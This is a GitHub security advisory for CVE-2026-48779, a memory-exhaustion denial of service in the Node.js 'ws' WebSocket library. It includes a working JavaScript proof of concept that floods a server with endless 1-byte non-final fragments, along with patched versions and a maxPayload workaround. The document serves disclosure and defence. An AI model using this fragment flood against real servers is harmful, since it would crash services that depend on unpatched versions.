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High severityGHSA Advisory· Published Jun 15, 2026

ws: Memory exhaustion DoS from tiny fragments and data chunks

CVE-2026-48779

Description

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
wsnpm
>= 1.1.0, < 5.2.55.2.5
wsnpm
>= 6.0.0, < 6.2.46.2.4
wsnpm
>= 7.0.0, < 7.5.117.5.11
wsnpm
>= 8.0.0, < 8.21.08.21.0

Affected products

57

Patches

Vulnerability mechanics

References

6

News mentions

0

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